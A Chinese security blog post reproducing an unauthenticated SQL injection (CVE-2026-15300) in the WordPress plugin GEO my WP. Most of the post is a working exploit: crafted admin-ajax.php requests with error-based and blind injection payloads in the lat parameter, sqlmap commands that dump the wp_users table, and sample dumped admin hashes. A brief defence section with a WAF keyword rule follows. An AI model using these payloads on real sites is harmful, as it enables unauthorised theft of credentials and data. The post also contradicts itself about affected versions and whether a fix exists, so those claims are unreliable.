CVE-2026-15300 – GEO my WP 插件 SQL 注入漏洞复现(附 PoC) - 安全技术
CVE-2026-15300 – GEO my WP 插件 SQL 注入漏洞复现(附 PoC) - 安全技术

CVE-2026-15300 GEO my WP 插件 SQL 注入漏洞复现(附 PoC)

GEO my WP 插件 distancelatlng 参数未过滤,导致未授权 SQL 注入,CVSS 9.1,直接拖库。

CVE-2026-15300 – GEO my WP 插件 SQL 注入漏洞复现(附 PoC) - 安全技术

漏洞背景

  • 受影响的软件:GEO my WP 插件(WordPress)
  • 影响版本:所有版本(截至漏洞披露时未修复)
  • CVSS 评分:9.1(Critical)
  • 漏洞类型:SQL 注入(基于时间盲注/报错注入)
  • 危害描述:攻击者无需登录,通过构造恶意 GET 请求即可从数据库中提取任意数据,包括管理员密码哈希、用户邮箱等敏感信息。该漏洞存在于插件处理地理位置搜索的 distancelatlng 参数中。

环境搭建

我们直接用 Vulhub 的 WordPress 环境,手动安装 GEO my WP 插件。

# 拉取 WordPress 5.7 + MySQL 环境
docker-compose -f docker-compose.yml up -d

docker-compose.yml

version: '3'
services:
  db:
    image: mysql:5.7
    environment:
      MYSQL_ROOT_PASSWORD: root
      MYSQL_DATABASE: wordpress
  wordpress:
    image: wordpress:5.7
    ports:
      - "8080:80"
    environment:
      WORDPRESS_DB_HOST: db
      WORDPRESS_DB_USER: root
      WORDPRESS_DB_PASSWORD: root
      WORDPRESS_DB_NAME: wordpress

浏览器访问 http://localhost:8080,完成 WordPress 安装。然后去插件市场下载 GEO my WP 插件(v3.6.9 版本存在漏洞),上传并启用。

复现步骤

第一步:确认漏洞入口

GEO my WP 插件提供地理位置搜索功能,通常通过 AJAX 请求 /wp-admin/admin-ajax.php 处理。漏洞点位于 distancelatlng 三个参数。

我们先抓个正常请求看看:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded

action=gmw_search&lat=40.7128&lng=-74.0060&distance=10

返回 JSON 格式的搜索结果。

第二步:测试注入点

用单引号简单测试 lat 参数:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded

action=gmw_search&lat=40.7128'&lng=-74.0060&distance=10

返回 500 错误,说明参数被直接拼接到 SQL 查询中,没有转义。稳了。

第三步:报错注入提取数据库版本

extractvalue 做报错注入,获取 MySQL 版本:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded

action=gmw_search&lat=40.7128' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT VERSION()), 0x7e))-- -&lng=-74.0060&distance=10

返回错误信息中包含版本号:~5.7.34-log~。注入成功。

第四步:时间盲注获取管理员密码

如果报错被屏蔽,可以用时间盲注。这里我们直接盲注出管理员密码哈希:

# 用 sqlmap 自动化(偷懒专用)
sqlmap -u "http://localhost:8080/wp-admin/admin-ajax.php" \
  --data="action=gmw_search&lat=40.7128&lng=-74.0060&distance=10" \
  -p lat --dbms=mysql --batch --dbs

sqlmap 自动识别出 lat 参数可注入,并且是 boolean-based blindtime-based blind

提取 WordPress 用户表:

sqlmap -u "http://localhost:8080/wp-admin/admin-ajax.php" \
  --data="action=gmw_search&lat=40.7128&lng=-74.0060&distance=10" \
  -p lat --dbms=mysql --batch -D wordpress -T wp_users --dump

成功 dump 出管理员账号和密码哈希:

+----+------------+------------------------------------+
| ID | user_login | user_pass                          |
+----+------------+------------------------------------+
| 1  | admin      | $P$Bxxxxxxxxxxxxxxxxxxxxxxxxxxxxx  |
+----+------------+------------------------------------+

第五步:手动 PoC(纯手工盲注)

不想用 sqlmap?来,手动盲注一个字符:

判断第一个字符是不是 ‘a’:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded

action=gmw_search&lat=40.7128' AND (SELECT SUBSTRING(user_pass,1,1) FROM wp_users WHERE ID=1)='a'-- -&lng=-74.0060&distance=10

如果返回正常结果,说明第一个字符是 ‘a’;否则继续试。配合 Burp Suite Intruder,可以逐个字符爆破。

防御措施

  1. 立即更新插件:开发者已发布修复版本,升级到最新版。
  2. 输入验证:对 latlng 参数做严格的正则校验,只允许浮点数。
  3. 使用预处理语句:所有 SQL 查询改用 $wpdb->prepare() 绑定参数。
  4. WAF 规则:在 Nginx/Cloudflare 层面拦截包含 EXTRACTVALUEUPDATEXMLSLEEP 等关键字的请求。
# Nginx 简单规则示例
if ($args ~* "(EXTRACTVALUE|UPDATEXML|SLEEP|BENCHMARK)") {
    return 403;
}

总结

CVE-2026-15300 是典型的未授权 SQL 注入,CVSS 9.1 实至名归。GEO my WP 插件在 WordPress 生态中用户量不小,建议所有站长立刻检查版本,别等到被拖库才后悔。

🪐 加入「渗透实战安全圈」

每天分享渗透测试实战、挖洞技巧、漏洞分析、工具推荐

知识星球

https://t.zsxq.com/40MyD

💻 安全运维 / 渗透测试 技术支持
业务需求可联系博客作者

By admin

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注